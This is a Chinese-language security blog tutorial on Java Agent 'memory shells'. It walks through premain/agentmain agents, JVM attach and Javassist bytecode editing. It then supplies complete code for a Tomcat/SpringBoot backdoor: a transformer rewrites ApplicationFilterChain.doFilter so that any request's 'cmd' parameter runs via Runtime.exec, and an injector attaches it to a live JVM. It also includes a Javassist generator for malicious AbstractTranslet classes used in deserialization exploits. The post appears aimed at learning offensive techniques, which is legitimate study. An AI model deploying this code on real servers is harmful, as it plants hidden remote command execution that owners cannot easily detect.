Java Agent 内存马学习
Drunkbaby Lv6

什么是 Java Agent?

我们知道Java是一种静态强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent 就是一种能在不影响正常编译的前提下,修改 Java 字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。

实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?

对于 Agent(代理)来讲,其大致可以分为两种,一种是在 JVM 启动前加载的premain-Agent,另一种是 JVM 启动之后加载的 agentmain-Agent。这里我们可以将其理解成一种特殊的 Interceptor(拦截器),如下图。

Premain-Agent

agentmain-Agent

几种 Java Agent 实例

premain-Agent

从官方文档中可知晓,首先我们必须实现 premain 方法,同时我们 jar 文件的清单(mainfest)中必须要含有 Premain-Class 属性

我们可在命令行利用 -javaagent 来实现启动时加载。

premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法

我们首先来实现一个简单的 premain-Agent,创建一个 Maven 项目,编写一个简单的 premain-Agent,创建的类需要实现 premain 方法

1
2
3
4
5
6
7
8
9
10
11
package com.java.premain.agent;

import java.lang.instrument.Instrumentation;

public class Java_Agent_premain {
public static void premain(String args, Instrumentation inst) {
for (int i =0 ; i<10 ; i++){
System.out.println("调用了premain-Agent!");
}
}
}

接着在 resource/META-INF/ 下创建 agent.MF 清单文件用以指定 premain-Agent 的启动类

1
2
Manifest-Version: 1.0
Premain-Class: com.java.premain.agent.Java_Agent_premain

接着用 jar 命令来打包,此时并指定启动项。运行完命令之后将会生成 agent.jar 文件

1
jar cvfm agent.jar META-INF/maven/agent.MF Java_Agent_premain.class

接着创建一个目标类

1
2
3
4
5
public class Hello {
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

同样,创建对应的 mf 启动项,取名为 hello.mf

1
2
Manifest-Version: 1.0
Main-Class: Hello

同样的打包方式

1
jar cvfm hello.jar META-INF/maven/hello.mf Hello.class

至此我们的准备工作已经做完了,最终得到了 agent.jar 和 hello.jar

接下来我们只需要在 java -jar 中添加 -javaagent:agent.jar 即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数

1
java -javaagent:agent.jar=Hello -jar hello.jar

可以看到我们 agent 中 premain 的代码被优先执行了

  • 以上就是 Premain-Agent 的工作实例

agentmain-Agent

相较于 premain-Agent 只能在 JVM 启动前加载,agentmain-Agent 能够在JVM启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和 JVM 有关的两个类。

VirtualMachine类

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。

该类允许我们通过给 attach 方法传入一个 JVM 的 PID,来远程连接到该 JVM 上 ,之后我们就可以对连接的 JVM 进行各种操作,如注入 Agent。下面是该类的主要方法

1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor 类

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.drunkbaby;  

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class get_PID {
public static void main(String[] args) {

//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
if(vmd.displayName().equals("com.drunkbaby.get_PID"))
System.out.println(vmd.id());
}

}
}

下面我们就来实现一个agentmain-Agent。首先我们编写一个 Sleep_Hello 类,模拟正在运行的 JVM

1
2
3
4
5
6
7
8
9
10
11
12
package com.drunkbaby;  

import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}

然后编写我们的 agentmain-Agent 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.drunkbaby;  

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class Java_Agent_agentmain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了agentmain-Agent!");
sleep(3000);
}
}
}

同时配置 agentmain.mf 文件

1
2
Manifest-Version: 1.0
Agent-Class: com.drunkbaby.Java_Agent_agentmain

接着,编译打包成 jar 文件

打包成 jar 包的方式建议是在 pom.xml 当中添加以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<build>  
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.6</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/MAINFEST.MF
</manifestFile>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>6</source>
<target>6</target>
</configuration>
</plugin>
</plugins>
</build>

接着用 mvn:assembly 命令打包成 jar 包即可

获取2个 jar 包,我们需要的是第二个,随后我们设置 VM-OPTIONS (最大的坑),这个 vm-options 在新版 UI 里默认是隐藏了起来的,所以你要把他打开,否则你很容易把它和变量列表搞混:

最后准备一个 Inject 类,将我们的 agent-main 注入目标 JVM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Inject_Agent {  
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.drunkbaby.Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("E:\\Coding\\Java\\Java-Agent-Memshell\\Agentmain\\target\\agentdemo-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

先运行目标 JVM,再运行 inject 类进行注入,最后结果如下,一开始是只输出 hello, world 的,运行 inject 之后就插入了 agent-main 方法:

动态修改字节码 Instrumentation

在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,那么 Instrumentation 实例是什么,在聊这个之前要先简单了解一下 Javassist

Javassist

什么是 Javassist

Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射。

ClassPool

ClassPoolCtClass对象的容器。CtClass对象必须从该对象获得。如果get()在此对象上调用,则它将搜索表示的各种源ClassPath 以查找类文件,然后创建一个CtClass表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放CtClass对象的容器。

获得方法: ClassPool cp = ClassPool.getDefault();。通过 ClassPool.getDefault() 获取的 ClassPool 使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为Web服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径

cp.insertClassPath(new ClassClassPath(<Class>));

CtClass

可以将其理解成加强版的Class对象,我们可以通过CtClass对目标类进行各种操作。可以ClassPool.get(ClassName)中获取。

CtMethod

同理,可以理解成加强版的Method对象。可通过CtClass.getDeclaredMethod(MethodName)获取,该类提供了一些方法以便我们能够直接修改方法体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public final class CtMethod extends CtBehavior {
// 主要的内容都在父类 CtBehavior 中
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
// 设置方法体
public void setBody(String src);

// 插入在方法体最前面
public void insertBefore(String src);

// 插入在方法体最后面
public void insertAfter(String src);

// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);

}

传递给方法 insertBefore() ,insertAfter() 和 insertAt() 的 String 对象是由Javassist 的编译器编译的。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:

使用示例

pom.xml

1
2
3
4
5
<dependency>  
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

创建测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package javassist;

import java.lang.reflect.Modifier;

public class Javassist_Test {
public static void Create_Person() throws Exception {

//获取 CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//创建一个新类 Javassist.Learning.Person
CtClass ctClass = classPool.makeClass("javassist.Person");

//创建一个类属性 name
CtField ctField1 = new CtField(classPool.get("java.lang.String"), "name", ctClass);
//设置属性访问符
ctField1.setModifiers(Modifier.PRIVATE);
//将 name 属性添加进 Person 中,并设置初始值为 Drunkbaby
ctClass.addField(ctField1, CtField.Initializer.constant("Drunkbaby"));

//向 Person 类中添加 setter 和 getter
ctClass.addMethod(CtNewMethod.setter("setName", ctField1));
ctClass.addMethod(CtNewMethod.getter("getName", ctField1));

//创建一个无参构造
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
//设置方法体
ctConstructor.setBody("{name = \"Drunkbaby\";}");
//向Person类中添加无参构造
ctClass.addConstructor(ctConstructor);

//创建一个类方法printName
CtMethod ctMethod = new CtMethod(CtClass.voidType,"printName", new CtClass[]{}, ctClass);
//设置方法访问符
ctMethod.setModifiers(Modifier.PRIVATE);
//设置方法体
ctMethod.setBody("{System.out.println(name);}");
//将该方法添加进Person中
ctClass.addMethod(ctMethod);

//将生成的字节码写入文件
ctClass.writeFile("E:\\Coding\\Java\\Java-Agent-Memshell\\Instrumentation\\src\\main\\java");
}

public static void main(String[] args) throws Exception {
Create_Person();
}

}

生成的 Person.class 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package javassist;

public class Person {
private String name = "Drunkbaby";

public void setName(String var1) {
this.name = var1;
}

public String getName() {
return this.name;
}

public Person() {
this.name = "Drunkbaby";
}

private void printName() {
System.out.println(this.name);
}
}

由此延展的攻击面其实是,我们可以利用 Javassist 生成一个恶意的 .class 类,其实在 CC 链的时候也是可以这样子打的,但是我当时并没有学习 Javassist 的思路,只是通过 Path.get 获取恶意类。

使用 Javassist 生成恶意 class

由于我们的恶意类需要继承AbstractTranslet类,并重写两个transform()方法。否则编译无法通过,无法生成.class文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class shell extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

public shell() throws IOException {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception var2) {
var2.printStackTrace();
}
}
}

但是该恶意类在执行过程中并没有用到重写的方法,所以我们可以直接使用Javassist从字节码层面来生成恶意class,跳过恶意类的编译过程。代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package javassist;  

import java.io.File;
import java.io.FileOutputStream;

public class EvilPayload {

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}


public static void writeShell() throws Exception {
byte[] shell = EvilPayload.getTemplatesImpl("Calc");
FileOutputStream fileOutputStream = new FileOutputStream(new File("S"));
fileOutputStream.write(shell);
}

public static void main(String[] args) throws Exception {
writeShell();
}
}

生成的恶意文件被我们输出到了 S 这个文件中,其实很多反序列化在用的时候,是没有把这个字节码提取保存出来,本质上还是可以保存的。

保存出来的文件代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//  
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("Calc");
} catch (Exception var1) {
}

}

public Evil() {
}
}

Instrumentation

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。

其在 Java 中是一个接口,常用方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public interface Instrumentation {

//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);


//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;



//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

//获取一个对象的大小
long getObjectSize(Object objectToSize);

}
ClassFileTransformer

转换类文件,该接口下只有一个方法:transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在 java agent 内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与 addTransformer 搭配使用。

1
2
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。  
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
获取目标 JVM 已加载类

下面我们简单实现一个能够获取目标 JVM 已加载类的 agentmain-Agent

Main 方法

1
2
3
4
5
6
7
8
9
10
11
public class Hello_Sleep {  
public static void main(String[] args) throws InterruptedException {
while(true) {
hello();
sleep(3000);
}
}
public static void hello(){
System.out.println("Hello World!");
}
}

Agent 主类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class agentmain_transform {  
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("AgentShell.Sleep_Hello")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Hello_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}

Transformer 修改类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class Hello_Transform implements ClassFileTransformer {  

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("AgentShell.Sleep_Hello");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

//设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

完毕之后打包 Java Agent 包,这里有个坑点是 MAINFEST.MF 需要修改如下

1
2
3
4
Manifest-Version: 1.0  
Agent-Class: AgentShell.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

最后编写动态注入 Agent 的注入类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Inject_Agent {  
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("AgentShell.Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("E:\\Coding\\Java\\Java-Agent-Memshell\\Instrumentation\\target\\Instrumentation-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

运行结果

Instrumentation 的局限性

大多数情况下,我们使用 Instrumentation 都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:

premain 和 agentmain 两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有 Class 类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

类的字节码修改称为类转换 (Class Transform),类转换其实最终都回归到类重定义 Instrumentation#redefineClasses 方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是 private static/final 修饰的
  5. 可以修改方法体

Agent 内存马实战

比如这里我们起一个 SpringBoot 的服务,由于 Tomcat 的责任链机制,可以看到会按照责任链机制反复调用 ApplicationFilterChain#doFilter() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
(java.security.PrivilegedExceptionAction<Void>) () -> {
internalDoFilter(req,res);
return null;
}
);
} ...
}
} else {
internalDoFilter(request,response);
}
}

跟到 internalDoFilter() 方法中

1
2
3
4
5
6
7
8
9
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
...
}
}

以上两个方法均拥有 ServletRequest 和 ServletResponse,并且 hook 不会影响正常的业务逻辑,因此很适合作为内存马的回显。下面我们尝试利用

利用 Java Agent 实现 Spring Filter 内存马

我们复用上面的 agentmain-Agent,修改字节码的关键在于 transformer() 方法,因此我们重写该方法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class Filter_Transform implements ClassFileTransformer {  
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

再准备 MAINFEST.MF 配置,以及 agent 主类代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class agentmain_transform {  
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Filter_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}

MAINFEST.MF

1
2
3
4
5
Manifest-Version: 1.0  
Agent-Class: com.drunkbaby.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

最后准备 Inject 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Inject_Agent {  
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().contains("JavaAgentSpringBootApplication")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("E:\\Coding\\Java\\JavaSecurityLearning\\JavaSecurity\\MemoryShell\\Java-Agent-Memshell\\AgentInjectionExample\\target\\AgentInjectionExample-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

注入成功

总而言之的攻击面应该是注入到 JVM 进程中

小结

比起传统的 Tomcat 内存马,Agent 内存马在实现形式上其实还是打的 Tomcat 内存马。然而它的实现角度是通过遍历所有的 JVM 进程,然后向进程中去注入对应的 agent 类的。在 agent 类中通过 ClassPool 生成恶意代码

Ref

https://goodapple.top/archives/1355

 评论